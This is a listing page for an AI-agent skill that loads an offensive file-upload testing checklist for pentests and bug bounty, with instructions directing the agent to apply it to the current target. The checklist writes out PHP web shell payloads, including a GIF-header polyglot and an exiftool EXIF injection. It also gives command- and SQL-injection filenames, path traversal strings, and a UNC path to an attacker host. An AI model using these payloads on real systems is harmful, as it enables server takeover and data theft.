snailsploit/claude-red/offensive-file-upload
Claude Code and agent skill by snailsploit/claude-red
- community
Checking that the SKILL.md file is still in the repository.
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Install
npx vskill@latest install snailsploit/claude-red/offensive-file-uploadSKILL.md
The same SKILL.md was published earlier as snailsploit/claude-red/offensive-file-upload.
SKILL: File Upload Vulnerabilities
Metadata
- Skill Name: file-upload
- Folder: offensive-file-upload
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/file-upload.md
Description
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of: file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
File Upload Vulnerabilities
Mechanisms
File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms. These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
- Insufficient File Type Validation: Failure to properly validate the actual content/type of uploaded files
- Improper Extension Handling: Not restricting dangerous file extensions or allowing easy bypasses
- Inadequate File Content Analysis: Not checking the actual file content versus relying only on extension or content-type
- Unsafe File Storage: Storing files in executable directories or with dangerous permissions
- File Operation Mishandling: Not securely handling file operations during the upload process
- Directory Traversal Vulnerabilities: Allowing manipulation of upload paths
- Race Conditions: Timing issues during validation and moving of uploaded files
- Archive Extraction Flaws: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
File upload vulnerabilities can manifest in various upload functionality patterns:
- Profile Picture Uploads: Common in user profiles and social media
- Document Repositories: File sharing services and document management systems
- Media Uploads: Image, video, and audio uploaders
- Bulk Import Features: CSV, XML, and other data import functionality
- Content Management Systems: Templates, plugins, themes, and media libraries
Hunt
Identifying File Upload Vulnerabilities
Target Discovery
- Map File Upload Functionality:
- Profile picture uploads
- Document/attachment uploads
- Import/export features
- Media galleries
- CMS admin sections
- Backup/restore features
- Avatar/image uploads
- Identify Upload Processing Patterns:
- Client-side validation patterns (JavaScript checks)
- Server-side validation indicators
- File type restrictions mentioned in UI
- Error messages related to file types
- Testing Prerequisites:
- Collection of test files (various formats)
- Proxy for intercepting requests (Burp Suite, ZAP)
- Web shells for testing execution
- MIME-type tools for manipulation
- Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)
Testing Methodologies
- Basic File Upload Testing:
- Test uploading standard expected files (baseline)
- Attempt uploading executable file types (PHP, ASP, JSP, etc.)
- Modify content-type headers during upload
- Change file extensions after client-side validation
- Extension-Based Testing:
- Test alternate extensions for web shells:
`` .php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif .asp, .aspx, .ashx, .asmx, .cer, .asa .jsp, .jspx, .jsw, .jsv, .jspf .cfm, .cfml, .cfc, .dbm (Coldfusion) .pl, .py, .rb, .cgi ``
- Test double extensions:
`` file.jpg.php file.php.jpg file.php.jpeg file.php%00.jpg # Null byte (older versions) file.php%20.jpg # URL encoded space file.php%0d%0a.jpg # CRLF injection file.php.blah123jpg # If regex is weak ``
- Test case sensitivity bypass:
`` file.PhP file.Php5 file.AspX file.pHp file.pHP5 file.PhAr ``
- Test trailing characters/delimiters:
`` file.php..... file.php/ file.php.\ file.php. # Trailing dot (Windows specific) file.php%20 # Trailing space file.php%09 # Trailing tab file.php%0a # Trailing newline file.php%0d # Trailing carriage return file.php::$DATA # NTFS Alternate Data Stream (Windows specific) file. # No extension .html # Just extension ``
- Test filename manipulation:
`` # Try to cut extension with max filename length limit # Try empty filename: .php # Send filename parameter twice: filename="allowed.jpg";filename="shell.php" ``
- Content-Type Testing:
- Modify the Content-Type header to bypass MIME validation:
`` Content-Type: image/jpeg # actual file is PHP Content-Type: image/png # actual file is PHP Content-Type: image/gif # actual file is PHP Content-Type: application/x-php # declared as image/jpeg when sent ``
- Other Content-Type manipulations:
`` # Remove Content-Type header entirely # Send Content-Type twice with allowed/disallowed values ``
- Magic Byte Forging:
- If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
`` # Example: Add GIF header to a PHP shell GIF89a;<?php system($_GET['cmd']); ?> ``
- Polyglot File Testing:
- Create and test polyglot files (valid in multiple formats)
`` GIFAR files (GIF + RAR) Valid Image + PHP code in EXIF metadata PDF + PHP code SVG + JavaScript for XSS ``
- Path and Filename Abuse Testing:
- Test path traversal in filename:
`` filename=../../../../etc/passwd filename=/etc/passwd filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection) ``
- Test injections via filename (if filename is processed unsafely):
`` filename=a$(whoami)z.png # Command Injection filename=awhoamiz.png # Command Injection filename="a';select+sleep(10);--z.png" # SQL Injection filename=https://internal.service/data # SSRF attempt ``
- Test DoS via large filename (e.g., 255+ characters).
- Archive Testing (Zip/Tar):
- Zip Slip: Create archives with path traversal (
../../tmp/shell.php). - Symlink Abuse: Include symlinks in archives pointing to sensitive files (
ln -s /etc/passwd link.txt). - Tar Permissions Abuse: Create tar with restrictive parent dir permissions (
chmod 300) but permissive subdir (chmod 700) containing symlinks. - Also test LFI access via zip wrapper:
site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php
- ImageMagick Testing:
- Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.
- See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.
- Third-Party Library Testing:
- Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).
- Race Condition Testing:
- File Upload Race: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.
- URL-Based Upload Race: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.
- HTTP/2 Multiplex Smuggling: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.
- Temp path reads: Try accessing temporary upload paths before move/scan completes.
- SSRF via HTTP Range Requests:
- If uploading via URL, try manipulating
Rangeheaders to potentially redirect parts of the download to internal servers.
Bypass Techniques
Client-Side Validation Bypasses
- Disabling JavaScript:
- Disable JavaScript to bypass client-side checks
- Use browser developer tools to modify the DOM
- Request Interception:
- Intercept and modify upload requests using Burp Suite or ZAP
- Change file parameters post-validation
- Extension Manipulation Techniques:
- MIME-Type Manipulation:
- Modify Content-Type header to match expected type
- Change file signature/magic bytes to appear as legitimate format
Server-Side Validation Bypasses
- Metadata Injection:
- Inject code into image metadata (EXIF)
`` exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg ``
- Image Content Manipulation:
- Create images containing server-side code
`` # PHP code in GIF file GIF89a; <?php system($_GET['cmd']); ?> ``
- Advanced Polyglot Techniques:
- Create files that are valid in multiple formats
`` # Valid JPG and PHP Create JPG with PHP code after the image data Add PHP code to EXIF data ``
- Path Traversal in Upload Locations:
`` filename=../../../tmp/shell.php filename=..%2f..%2f..%2ftmp%2fshell.php filename=../../etc/passwd/logo.png # Example LFI attempt filename=\\attacker-site.com\file.png # UNC Path (Windows specific) ``
- Common DenyList Bypass:
`` escape "/" with "\/" or "//" with "\/\/" try single "/" instead of "//" remove http i.e. "continue=//google.com" "/\/\" , "|/" , "/%09/" encode, slashes "./" CHANGE TO "..//" "../" CHANGE TO "....//" "/" CHANGE TO "//" filename=..%2f..%2f..%2ftmp%2fshell.php # Check IIS specific extensions if applicable filename=shell.cer filename=shell.asa # Windows specific bypasses filename=shell.aspx. # Trailing dot filename=shell.php::$DATA # Alternate Data Stream (ADS) filename=shell.php:.jpg # ADS confusion ``
- GIF Comment Bypass:
- Inject payload within GIF comments.
This is the start of the file. Read the full SKILL.md on GitHub.
Security
- Security scanPassed, 100 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingSkills/web/offensive-file-upload/SKILL.md
Popularity
- Repository stars
- 1,288
- Repository forks
- 221
- 7-day trend score
- 36
Stars and forks are for the whole GitHub repository, not this skill alone. Refreshed 17 May 2026, 6 months ago.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/snailsploit/claude-red/offensive-file-upload)